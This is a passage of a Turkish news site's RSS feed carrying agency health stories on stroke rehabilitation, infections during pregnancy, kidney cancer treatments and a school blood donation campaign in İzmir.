                <description><![CDATA[Dünya Sağlık Örgütü verilerine göre her yıl dünyada 15 milyon kişi inme geçiriyor. Türkiye’de her sene 250 bin yeni inme vakası görülürken, inme ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Dünya Sağlık Örgütü verilerine göre her yıl dünyada 15 milyon kişi inme geçiriyor<em><strong>. </strong></em>Türkiye’de her sene 250 bin yeni inme vakası görülürken, inme sonrası felçle yaşayan 2 milyon kişi olduğu tahmin ediliyor. İnme gerçekleştiği anda acil müdahale edilmesi hayat kurtarıcı olabiliyor. İnmenin erken tedavisi hastaların yaşama şansını artırırken, aynı zamanda inmeye bağlı oluşabilecek engellerin ve fonksiyon bozukluklarının önüne geçilmesini sağlayabiliyor. Toplumun inme belirtilerini hemen tanıyacak şekilde bilinçlendirilmesi önem taşıyor. Memorial Şişli Hastanesi Fizik Tedavi ve Rehabilitasyon Bölüm Başkanı Prof. Dr. Engin Çakar, “29 Ekim Dünya İnme Günü” öncesinde inme ve inme sonrası erken dönem fizik tedavi ile rehabilitasyonun önemi hakkında bilgi verdi. </span></span></p>  <p><span><span><strong>İnme sırasında zaman çok önemlidir</strong></span></span></p> <p><span><span>İnme, beyin kanaması veya beyin damar tıkanıklığı nedeniyle beyne giden kan akışının engellenmesidir. Kan akışının engellenmesiyle oksijensiz kalan beyin hücreleri birkaç dakikanın ardından ölmeye başlamaktadır. İnmenin hızlıca fark edilmesi, hastanın sağlık kuruluşuna erkenden ulaştırılması ve yapılacak ilk yardım; hastanın hayatta kalma şansını artırır ve inme sırasında gelişebilecek fonksiyonel bozuklukları azaltır. İnmede erken müdahale ve ilk yardım, daha fazla beyin dokusunun hasar görmesini engeller. Bu nedenle inme geçiren hastalar için “Zaman Eşittir Beyin” söylemi kullanılmaktadır. </span></span></p>  <p><span><span><strong>Hareketsiz yaşam ve obezite inme riskini artırıyor</strong></span></span></p> <p><span><span>İnme nedenlerinin ana sebebi damarlardaki problemlerdir. Damarların daralması ve tıkanması inme tablosunu oluşturmaktadır. Bu sebeple özellikle kalp ve damar sağlığına dikkat edilmelidir. İnmeye neden olan faktörler arasında; obezite, hareketsiz yaşam, diyabet, yüksek tansiyon, sigara kullanımı, aşırı alkol kullanımı, yüksek kolesterol seviyesi, atrial fibrasyon, arteriovenöz malformasyon (AVM), kalp ve damar hastalıkları, geçici iskemik atak (gia), damar yapısı anomalileri bulunmaktadır.  </span></span></p>  <p><span><span><strong>İnme tanısı konulduğu anda inme tedavisi başlar</strong></span></span></p> <p><span><span>Tedaviyi etkileyeceği için inme tipi hemen belirlenmelidir. Sonraki aşamada bu inmenin kalple veya diğer damarlarla ilişkisi olup olmadığı, sebep olabilecek diğer hastalıklarla ilişkisi gibi durumlar araştırılır. İlk tıbbi girişimler ve tedavilerin ardından genel durumu stabil hale gelen hasta, fizik tedavi ve rehabilitasyon uzman hekimi tarafından değerlendirilir. Eğer hastada fonksiyon kaybı meydana geldi ise inme tedavisinde fizik tedavi ve rehabilitasyon süreci başlar.</span></span></p>  <p><span><span><strong>İnme sonrasında kısmi ya da tam felç gelişebilir</strong></span></span></p> <p><span><span>Çevreyi algılama ve dikkat etme konusunda daha çok sağ beyin görev alır. Ayrıca sağ beyin duygularla ilişkilidir. Konuşma ve dil insanların 90’ ında sol beyinin ilgilendiği fonksiyonlardır. Sol beyin mantık ile ilişkili bir lobtur. Sol tarafın felcinde dolayısı ile hastada anlama ve konuşma bozukluğu da daha sık görülmektedir. İnme sonrasında hastalarda kısmi ya da tam felç gelişebilir. Kısmi felç halk arasında hafif seyirli felç anlamında kullanılsa da tıbbi anlamda bir vücut yarısında el – kol ve bacakları etkileyen hafif ya da ağır seyirli felç olarak bilinmektedir. Sağ taraf felci geçiren hastalar ve sol taraf felci geçiren hastalar aynı ölçüde fizik tedavi ve rehabilitasyon ihtiyacı duymaktadır.</span></span></p>  <p><span><span><strong>Erken dönem fizik tedavi ile kaybedilen fonksiyonlar geri kazanılabiliyor</strong></span></span></p> <p><span><span>İnme sonucu gelişen felç nedeniyle kol ve bacak hareketleri, gövde hareketleri ve kaba motor beceriler etkilenir. Bu durum felçli hastanın yürüyüşünü de etkiler. Genellikle vücudun bir tarafında görülen hareket bozuklukları, felçli hastanın yürüyüşünü daha da bozan denge sorunlarına neden olur. Felçli hasta erken dönemde yürüyemez ve yatağa bağımlı halde kalabilir. Erken dönemde başlayan fizik tedavi ve rehabilitasyon uygulamaları ile inme hastalarının pek çoğu için iyileşme mümkündür. Beynin kendini yeniden organize edebilme özelliği (plastisite) sayesinde, hasta zamanla çeşitli fonksiyonlarını geri kazanmaya başlar. Geri kazanılan fonksiyonlar inmenin şiddeti, beyinde etkilenen alan, hastanın iyileşme kapasitesi ve uygulanan rehabilitasyonla ilişkilidir.</span></span></p>  <p><span><span><strong>Felçli hastaların tekrar yürüme ihtimali oldukça yüksektir</strong></span></span></p> <p><span><span>Felçten sonra tekrar yürüyebilmenin temel yolu fizik tedavi ve rehabilitasyondur. Fizyoterapist ve ergoterapist eşliğinde yapılan çeşitli fizik tedavi egzersizleri, uygulanan nöro-rehabilitasyon teknikleri ve robotik rehabilitasyon ile hastanın beyninde iyileşme potansiyeli uyarılır. Bu hastaların önemli bir bölümü yatağa bağımlılıktan kurtulup kısmi veya tam bağımsızlığa kavuşabilir. Hastaların işlerine geri dönmeleri, günlük hayata yeniden katılmaları sağlanabilir. Beynin yeniden eğitilmesi, felçten sonra tekrar yürümenin en önemli anahtarıdır. Beynin yeniden eğitilmesi için bol tekrarlı ve çeşitlendirilmiş egzersizler, günlük hayat pratikleri ve robotik fizik tedavi cihazları oldukça faydalıdır. Felçli hastalar akut dönemde genellikle yatılı fizik tedavi merkezlerinde bu tedavileri almaktadır.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-inme-sonrasi-hizli-iyilesme-erken-fizik-tedavi-ile-mumkun-olabiliyor-67585.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 11:44:08 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/inme-sonrasi-hizli-iyilesme-erken-fizik-tedavi-ile-mumkun-olabiliyor-xhv1DsFx.jpg"/>
            </item>
                                <item>
                <title>Hamilelikte Enfeksiyonlara Karşı Bu Önlemlere Dikkat</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/hamilelikte-enfeksiyonlara-karsi-bu-onlemlere-dikkat-547489</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/hamilelikte-enfeksiyonlara-karsi-bu-onlemlere-dikkat-547489</guid>
                <description><![CDATA[Hamilelikte anne adaylarının en sık karşılaştıkları sorunların başında, ‘enfeksiyonlar’ geliyor. Anne ve bebeğin sağlığını doğrudan ya da dolaylı ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Hamilelikte anne adaylarının en sık karşılaştıkları sorunların başında, ‘enfeksiyonlar’ geliyor. Anne ve bebeğin sağlığını doğrudan ya da dolaylı olarak etkileyen enfeksiyonlar kimi zaman bebeğin hayatını tehdit edecek boyutlara ulaştığı için korunma yöntemlerine dikkat etmek büyük önem taşıyor. <strong>Acıbadem</strong> <strong>Dr. Şinasi Can (Kadıköy) Hastanesi Kadın Hastalıkları ve Doğum Uzmanı Dr. Süheyla Ayşe Mutlu</strong>, “Ayrıca hamilelikteönerilen tüm aşıların yaptırılması ve enfeksiyonu olan biriyle temas durumunda ya da enfeksiyondan şüphelenildiğinde doktora başvurulması çok önemli. Tedaviler bebeğin sağlığı düşünülerek seçiliyor. Dolayısıyla ‘bebeğime zarar verir’ endişesiyle ilaçları kullanmamak ya da yarıda kesmek gibi bir hataya düşülmemeli. Aksi halde erken doğum gibi ciddi sorunlar gelişebiliyor. Doktorun önerdiği tedavi aksatılmadığında ise hamilelik süreci sağlıklı devam ediyor” diyor. <strong>Kadın Hastalıkları ve Doğum Uzmanı Dr. Süheyla Ayşe Mutlu</strong>,hamilelik döneminde sık karşılaşılan enfeksiyonları anlattı; önemli öneriler ve uyarılarda bulundu. </span></span></p>  <p><span><span><strong>İDRAR YOLU ENFEKSİYONU</strong></span></span></p> <p><span><span>İdrar yolu enfeksiyonu hamilelik döneminde gelişen enfeksiyonlarda ilk sırada yer alıyor. Bunun nedeni ise büyüyen rahmin basısıyla boşaltım sistemindeki yavaşlama ve mesanenin tam olarak boşaltılamaması. Tedavi edilmemiş olan idrar yolu enfeksiyonu hamileliğin son dönemlerinde zarların erken açılmasına ve bunun sonucunda erken doğuma yol açabiliyor. Bu nedenle erken tedavisi büyük önem taşıyor. Dr. Süheyla Ayşe Mutlu, idrar yolu enfeksiyonunun en önemli belirtisinin idrar yaparken yanma olduğunu belirterek, “Sık idrara çıkma diğer belirtisi olsa da hamilelikte mesane kapasitesinin azalmasına bağlı olarak da görülebileceği için tek başına tanı koydurmaz. Bunun dışında kasık ve yan ağrısı gelişebilir” diyor.  İdrar yolu enfeksiyonları antibiyotik kullanımıyla tedavi edilebiliyor ve bol sıvı alınması tedaviyi kolaylaştırıyor. </span></span></p>  <p><span><span><strong>Nasıl korunmalı? </strong></span></span></p> <p><span><span>- Mevsime göre değişmekle birlikte günlük ortalama 2,5 litre su tüketin</span></span></p> <p><span><span>- İdrarınızı uzun süre tutmayın</span></span></p> <p><span><span>- Sık sık tuvalete gidin ve mesanenin tamamen boşaldığından emin olun</span></span></p> <p><span><span>- Tuvaletten sonra genital bölge temizliğini iyi yapın</span></span></p> <p><span><span>- İç çamaşırınızı her gün değiştirin, genital bölgeyi temiz ve kuru tutun</span></span></p> <p><span><span>- Çok sıkı kıyafetler giymeyin</span></span></p>  <p><span><span><strong>ÜST SOLUNUM YOLU ENFEKSİYONLARI </strong></span></span></p> <p><span><span>Etken olan mikroorganizmaların sonbahar ve kış aylarında doğada görülme sıklığının artmasının yanı sıra yeterince havalandırılmamış olan kapalı yerlerde uzun süre kalınması, soğuk havanın vücut direncini düşürmesi, yeterli ve uygun beslenmeye dikkat edilmemesi, havanın soğumasıyla birlikte sıvı tüketiminin azalması gibi nedenlerle soğuk algınlığı ve gribin görülme sıklığı artıyor. Dr. Süheyla Ayşe Mutlu,hamileliğin tek başına üst solunum yolu enfeksiyonuna yakalanmak için bir risk oluşturmadığına işaret ederek, “Ancak hamilelik döneminde enfeksiyon geliştiğinde komplikasyon görülme riski artıyor ve hastaneye yatırılarak tedavi edilme oranlarının hamile olmayanlara göre daha yüksek olduğu görülüyor.” diyor. Üst solunum yolu enfeksiyonlarının genellikle tedavi gerektirmediğini, yatak istirahati ile bol sıvı alımıyla iyileşme sağlandığını ifade eden Dr. Süheyla Ayşe Mutlu, “Burun tıkanıklığı için serum fizyolojik benzeri ilaçlar kullanılabiliyor. Gerekli durumlarda ateş düşürücü olarak parasetamol türü ilaçlar verilebiliyor. Tabloya öksürük ve balgam eklenirse bakteriyel bir enfeksiyon düşünülüp antibiyotik tedavisi gerekebiliyor” bilgisini veriyor. </span></span></p>  <p><span><span><strong>Nasıl korunmalı? </strong></span></span></p> <p><span><span>- Kapalı ortamlarda uzun süre bulunmayın, zorunlu iseniz maske kullanın</span></span></p> <p><span><span>- Bulunduğunuz ortamı sık sık havalandırın </span></span></p> <p><span><span>- Ellerinizi düzenli olarak sabun ve suyla 20 saniye boyunca yıkayın </span></span></p> <p><span><span>- Hasta kişilerle yakın temastan kaçının</span></span></p> <p><span><span>- Grip aşınızı (ilk 3 aydan sonra) mutlaka yaptırın. </span></span></p>  <p><span><span><strong>VAJİNAL ENFEKSİYONLAR</strong></span></span></p> <p><span><span>Vajinal enfeksiyonlar hamilelikte en sık karşılaşılan diğer bir grup enfeksiyonu oluşturuyor. Hamilelik sürecinde hormonal değişiklikler vajinal akıntıda artmaya neden oluyor. “Açık sarı veya beyaz renkteki akıntı kokusuz ise kaşıntı veya yanmaya yol açmıyorsa, fizyolojiktir ve sorun oluşturmaz” diyen Dr. Süheyla Ayşe Mutlu,“Koku, kaşıntı ile hassasiyet eşlik eden artmış akıntı ise mutlaka incelenmeli ve saptanan ajana göre uygun tedavi planlanmalı. Aksi halde erken doğum tehdidine yol açabiliyor.  En sık rastlanan Candida ve Gardnerella vajinalis enfeksiyonlarının tedavileri hamilelikte güvenle uygulanabiliyor” bilgisini veriyor. </span></span></p>  <p><span><span><strong>Nasıl korunmalı? </strong></span></span></p> <p><span><span>- Pamuklu iç çamaşırı kullanın </span></span></p> <p><span><span>- Islak mayo ile oturmayın </span></span></p> <p><span><span>- Genital bölge temizliğine dikkat edin</span></span></p> <p><span><span>- Flora dengesizliğine yol açabildiği için uygun pH’da olan genital bölge temizleyicileri tercih edin</span></span></p>  <p><span><span><strong>HPV (Human Papilloma Virüsü)</strong></span></span></p> <p><span><span>Son yıllarda daha sık karşılaşılan bir diğer enfeksiyon ise Human Papilloma Virüsü’nün neden olduğu genital siğiller oluyor. Dr. Süheyla Ayşe Mutlu, çok yaygın ve büyük değilse genital siğillerin mutlaka tedavi edilmeleri gerekmediğine işaret ederek, “Tedavi ihtiyacı halinde asetik asit, kriyoterapi veya lazer ablasyon yöntemlerine başvurulabiliyor. Diğer tedavi yöntemleri anestezi altında yapıldığı için gereksiz risk oluyor, dolayısıyla tercih edilmiyor. Doğum sırasında virüsün bebeğe bulaşması oldukça nadir görülüyor. Vajina içinde siğilleri bulunan anne adaylarında sezaryen yöntemiyle doğum tercih ediliyor” diyor. </span></span></p>  <p><span><span><strong>Nasıl korunmalı? </strong></span></span></p> <p><span><span>- Güvenli cinsel hayat en önemlisi, zira kondom bile tam anlamıyla korumuyor </span></span></p> <p><span><span>- Hamilelik öncesinde HPV aşısı olmanızda fayda var</span></span></p>  <p><span><span><strong>TOKSOPLAZMA </strong></span></span></p> <p><span><span>Hamilelik sürecinde daha nadir görülmekle birlikte, bebeğin sağlığını tehdit eden diğer bir enfeksiyon toksoplazma oluyor. Toksoplazma gondi paraziti enfekte olmuş kedilerin dışkılarının bulaştığı toprakla temas eden sebze ile meyvenin iyi yıkanmadan ve enfekte etlerin çiğ ya da az pişirilerek yenmesi yoluyla insana bulaşıyor. Parazit fetüse ulaşır ve enfeksiyon yaparsa, düşük ile ölü doğumlara neden olabiliyor. Ayrıca bebekte gelişim problemleri, körlük, sağırlık ve beyinde su toplanması gibi sorunlar gelişebiliyor.</span></span></p>  <p><span><span><strong>Nasıl korunmalı? </strong></span></span></p> <p><span><span>- Hamilelik öncesinde ve hamilelik döneminde çiğ et veya iyi pişmemiş et tüketmeyin</span></span></p> <p><span><span>- Meyve ve sebzeleri yemeden önce çok iyi yıkayın</span></span></p> <p><span><span>- Toprakla uğraşıyorsanız eldiven kullanın ve ellerinizi çok iyi temizleyin.</span></span></p> <p><span><span>- Evden dışarı çıkmayan ve çiğ et yemeyen ev kedilerinden bulaş olmaz. Yine de kumları temizlerken eldiven kullanın ya da bu işi başka bir aile ferdine bırakın.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-hamilelikte-enfeksiyonlara-karsi-bu-onlemlere-dikkat-67571.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 11:30:21 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/hamilelikte-enfeksiyonlara-karsi-bu-onlemlere-dikkat-HaKrQP6P.jpg"/>
            </item>
                                <item>
                <title>Böbrek Kanserine Yönelik Tedavi Seçenekleri Artıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bobrek-kanserine-yonelik-tedavi-secenekleri-artiyor-547478</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bobrek-kanserine-yonelik-tedavi-secenekleri-artiyor-547478</guid>
                <description><![CDATA[Görülme sıklığı giderek artan böbrek kanseri, özellikle ileri yaş grubunu tehdit ediyor. Bu tehlikeye karşın son dönemde tedavide umut verici ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Görülme sıklığı giderek artan böbrek kanseri, özellikle ileri yaş grubunu tehdit ediyor. Bu tehlikeye karşın son dönemde tedavide umut verici gelişmeler yaşandığını belirten Trakya Üniversitesi Tıp Fakültesi İç Hastalıkları Ana Bilim Dalı Öğretim Üyesi Prof. Dr. İrfan Çiçin ve Sağlık Bilimleri Üniversitesi Onkoloji Uzmanı Doç. Dr. Çağlayan Geredeli, tedavi seçeneklerinin arttığını vurguladı ve hastalıkla ilgili önemli bilgiler paylaştı.</span></span></p>  <p><span><span>Böbreklerde etkili olan kanser türleri ile ilgili bilgiler veren Prof. Dr. İrfan Çiçin, “En sık rastlanan böbrek kanseri, olguların yaklaşık 80-85’ini oluşturan berrak hücreli renal karsinomdur (clear cell, renal cell carcinoma ya da ccRCC). Geriye kalan yüzdeyi ise ‘papiller, kromofob’ diye adlandırılan kanser türleri oluşturur.” dedi. Ayrıca idrar kanallarından kaynaklanan (renal pelvis) kanserlerin de böbrek kanserlerini taklit edebileceği uyarısını yapan Prof. Dr. İrfan Çiçin, bu kanserlerin idrar kanalı ya da mesane kanserleri (transizyonel hücreli) gibi davrandığını ve tedavi edilebildiğini belirtti.</span></span></p>  <p><span><span><strong>GÖRÜLME SIKLIĞI ARTMAKTADIR!</strong></span></span></p> <p><span><span>Böbrek kanserinin görülme oranlarına dair veriler paylaşan Prof. Dr. Çiçin, “Böbrek kanseri yetişkin tümörlerinin 2-3'ünü oluşturmaktadır. Erkeklerde, kadınlara oranla böbrek kanseri daha sık görülmekte olup, bu oran 3/2 olarak saptanmıştır. Bunların yanında hastalığın görülme riskinin yaşla birlikte arttığını da söyleyebiliriz.” bilgisini verdi.</span></span></p>  <p><span><span>RCC’nin son yıllarda, özellikle ileri yaş grupta oldukça sık saptanan bir kanser türü olduğunu vurgulayan Prof. Dr. Çiçin, 50 yıl öncesine oranla görülme sıklığının belirgin bir şekilde arttığının altını çizdi. Hem ultrason, tomografi ve MR gibi görüntüleme yöntemlerinin sık kullanılmasıyla kanserin kolay teşhis edilmesi hem de nüfusun giderek yaşlanması böbrek kanserinde vakaların artmasının sebepleri olarak gösteriliyor.</span></span></p>  <p><span><span><strong>BÖBREK KANSERİNDE ÖNEMLİ BELİRTİLER</strong></span></span></p> <p><span><span>Günümüzde böbrek kanseri olan hastaların yaklaşık yarısı tesadüfen teşhis alıyor. Böbrek kanserinin genellikle erken evrelerde belirti veya semptom göstermediğinin altını çizen Doç. Dr. Çağlayan Geredeli ise, hastalarda zamanla görülebilen bulguları şöyle sıraladı: </span></span></p> <p><span><span>İdrarınızda pembe, kırmızı veya kola renginde görünebilen kan,<br/> Sırtınızda veya yanınızda geçmeyen ağrı,<br/> İştah kaybı,<br/> Açıklanamayan kilo kaybı,<br/> Yorgunluk,<br/> Ateş,<br/> İzah edilemeyen kansızlık (anemi),<br/> Kanda sedimentasyon ve/veya CRP yükselmesi.</span></span></p> <p><span><span>Böbrek kanserinde erken tanı ile birlikte metastaz ihtimalinin azaldığını da vurgulayan Doç. Dr. Geredeli, akciğer, kemik ve beynin en sık metastaz yeri olduğunu da söyledi. Bunun yanında özellikle karaciğer ve tiroid bezinde de metastazların görülebildiği belirtildi. </span></span></p>  <p><span><span><strong>BÖBREK KANSERİ ÖNLENEBİLİR Mİ?</strong></span></span></p> <p><span><span>Sigara kullanımı, birçok kanser türünde olduğu gibi böbrek kanserinde de riski artırıyor. Ayrıca yaşlanma, hipertansiyon ve bazı kalıtsal hastalıklar da böbrek kanserinin ortaya çıkması ile ilişkilendirilmektedir. Hastalığın önlenmesinde genel sağlık kurallarına dikkat etmenin önemine değinen Prof. Dr. Çiçin, eğilime neden olan kalıtsal hastalık durumlarında ise tarama-takip programlarının önemli birer erken teşhis yöntemleri olduğunun altını çizdi.</span></span></p> <p><br/> <br/> <span><span><strong>BÖBREK KANSERİ TEDAVİSİNDE ERKEN TANI ÖNEMLİ</strong></span></span></p> <p><span><span>Böbrek kanseri (RCC) tedavisinde izlenilen yollarla ilgili bilgiler veren Doç. Dr. Çağlayan Geredeli, erken evre yani metastaz yapmamış böbrek kanserlerinde temel tedavi yaklaşımının cerrahi olduğunu belirtti. Böbrek kanserinde çok sayıda tedavi seçeneği olduğunu belirten Doç. Dr. Geredeli, sözlerine şöyle devam etti:</span></span></p>  <p><span><span>“Kemoterapi ve radyoterapiye duyarlı olmayan bu kanserlerde, cerrahi sonrası akılcı ilaç olarak bilinen hedefe yönelik tedaviler ya da immünoterapilerin cerrahiye eklenmesi tedavinin başarı oranlarını artırmaktadır. İleri evre hastalarda yani metastaz yapmış hastalarda ana tedavi hedefe yönelik tedaviler ve immünoterapiler ile yapılmaktadır. Bu tedavi seçenekleri tek başına ya da birlikte (kombine) uygulanabilir. İleri evre böbrek kanserlerinde rutin olarak böbreğin ameliyat edilmesi ihtiyacı günümüzde ortadan kalkmıştır.”</span></span></p> <p><br/> <br/> <span><span>Tüm diğer kanserler gibi, böbrek kanserlerinde de tanı sırasındaki evrenin hastalığın gidişatı açısından önemli olduğunun altını çizen Doç. Dr. Geredeli, RCC tanısı kanserin henüz böbrek dışına yayılmadığı erken evrede konulduğunda hastaların 93’ünün 5 yıl sonra yaşamaya devam ettiğini belirtti.</span></span></p> <p><br/> <br/> <span><span><strong>HEDEFE YÖNELİK TEDAVİ SEÇENEKLERİ ARTIYOR</strong><br/> <br/> Böbrek kanserinde hedefe yönelik tedaviler ve güncel gelişmelerle ilgili de bilgiler aktaran Prof. Dr. İrfan Çiçin, önemli veriler paylaştı: “Son 10 yılda metastatik böbrek hücreli kanser (mBHK) tedavisinde hedefe yönelik tedaviler hastalığın yönetimini belirgin bir şekilde iyileştirmiştir. Böbrek kanserlerinde özellikle berrak hücreli tipte hedefe yönelik tedavi seçenekleri artmaktadır. En son 2022 yılında farklı bir etki mekanizmasına sahip hedefe yönelik bir tedavi Türkiye’de de ruhsatlanmıştır. Ülkemizde hem hedefe yönelik hem de immunoterapiler böbrek kanserli hastalarda uygulanabilmektedir.”</span></span></p> <p><br/> <br/> <span><span><strong>BÖBREK KANSERİ TEDAVİSİNDE UMUT VEREN GELİŞMELER</strong><br/> <br/> Böbrek kanserinde tedavi seçeneklerini artırmak ve iyileştirmek için araştırmaların devam ettiğini belirten Doç. Dr. Geredeli, sözlerini şöyle tamamladı: “İmmün kontrol noktası sinyallerini hedefleyen ilaçlar, immün sistem ile tümör arasındaki etkileşimlerin klinik önemini güçlendirerek, immün sistemin anti-kanser aktivite göstermesini sağlanmaya çalışarak, kanser tedavisine yeni bir yaklaşım getirmiştir. Son dönemlerde çalışmaları son bulan ve ülkemizde de yer bulan immünmodülator ajanlarla birlikte hedefe yönelik tedavilerin kombinasyonunu öngören tedavi stratejileri, böbrek kanseri tedavi seçeneklerini ve başarısını daha da artırmıştır. Yeni ilaçlar ve yeni kombinasyon tedavileri umut vericidir.”</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-bobrek-kanserine-yonelik-tedavi-secenekleri-artiyor-67567.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 11:12:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bobrek-kanserine-yonelik-tedavi-secenekleri-artiyor-xFlZYiqC.jpg"/>
            </item>
                                <item>
                <title>Okulumda KANpanya Var</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/okulumda-kanpanya-var-547473</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/okulumda-kanpanya-var-547473</guid>
                <description><![CDATA[İzmir İl Milli Eğitim Müdürlüğü, İzmir Kızılay Şube Başkanlığı ve Türk Kızılay Ege Bölge Kan Merkezi Müdürlüğü; ‘İzmir Sana Kanım Feda’ kan ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><span><strong>İzmir İl Milli Eğitim Müdürlüğü, İzmir Kızılay Şube Başkanlığı ve Türk Kızılay Ege Bölge Kan Merkezi Müdürlüğü; ‘İzmir Sana Kanım Feda’ kan bağışı kampanyası ile İzmir Milli Eğitim Okullarında Kan Bağışı çalışmalarının startını verdi.</strong></span></span></span></p>  <p><span><span><span><strong>Adı geçen kurumlar, Ege Bölgesi’nin kan ihtiyacının karşılanması amacıyla geçen yıllarda da hayata geçirdikleri projenin bu sene de devam etmesi için “Okulumda KANpanya Var” projesi adı altında buluştular.</strong></span></span></span></p>  <p><span><span><span><strong>Kan bağışının toplum sağlığı yanında, toplumsal dayanışma, birlik ve beraberlik açısından da önemli olduğunu vurgulayan Türk Kızılay İzmir Şube Başkanı Kerem Baykalmış “Kampanya sonucunda özellikle kadın kan bağışı oranı 13’ten 47’ye çıkmış ve ülkemizde bu konuda rekor kırılmıştır. Birçok yeni bağışçı da </strong></span></span></span><strong>kazanılmıştır. Tüm veli, öğretmen ve vatandaşlarımızı kan bağışı kampanyalarımıza katılmaya davet eden Sn. Baykalmış, Ulusal güvenli kan temini programı için ilk ve en önemli şart, bu kanların, düzenli, bilinçli ve gönüllü kişilerden elde edilmesidir, güvenli kan temini programını yürütebilmemiz için halkı bilinçlendirmemiz şart ve bu bilincin oluşmasına katkı sağlamak adına yapılan protokollerle bizden desteklerini esirgemeyen İzmir İl Milli Eğitim Müdürlüğü’ne, kurumumuz ve ülke insanımız adına teşekkür ediyorum” demiştir.</strong></p> <p><span><span><span><strong>Türk Kızılay Ege Bölge Kan Merkezi Müdürü Dr. Barış Dolaş; 2016 yılından bu güne, İzmir’de yapılan kampanyalarda 30 ilçedeki okullardan toplamda 69.721 ünite kan alındığını, bu bağışçıların 72 sinin hayatlarında ilk kez kan bağışladığını ve yine bu bağışçıların Türkiye ortalamasının çok üzerinde 47 sinin kadın bağışçı olduğunu aktardı. Bu rakamların her birinin bir lösemili çocuğu veya yeni doğum yapmış bir anneyi ifade ettiğini belirten Dr. Dolaş; Milli Eğitim Müdürümüz Sn.Murat Mücahit Yentür’ün önderliğinde 2022-2023 yılında ‘’Okulumda KANpanya Var’’ sloganıyla binlerce ihtiyaç sahibi hasta ve hasta yakınının hayata tutunacağını dile getirdi. Kan bağışlarıyla kurtarılan  beraber; geleceğin kan bağışçısı çocuklarımıza, birbirini kucaklayan, hayatını-kanını paylaşan bir kültürü miras bırakacağımızı hatırlatan Dr.Dolaş, İzmir Milli Eğitim Müdürlüğüne desteğin ötesinde sahiplenici duruşlarından dolayı teşekkürlerini sunmuştur.</strong></span></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-okulumda-kanpanya-var-67562.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
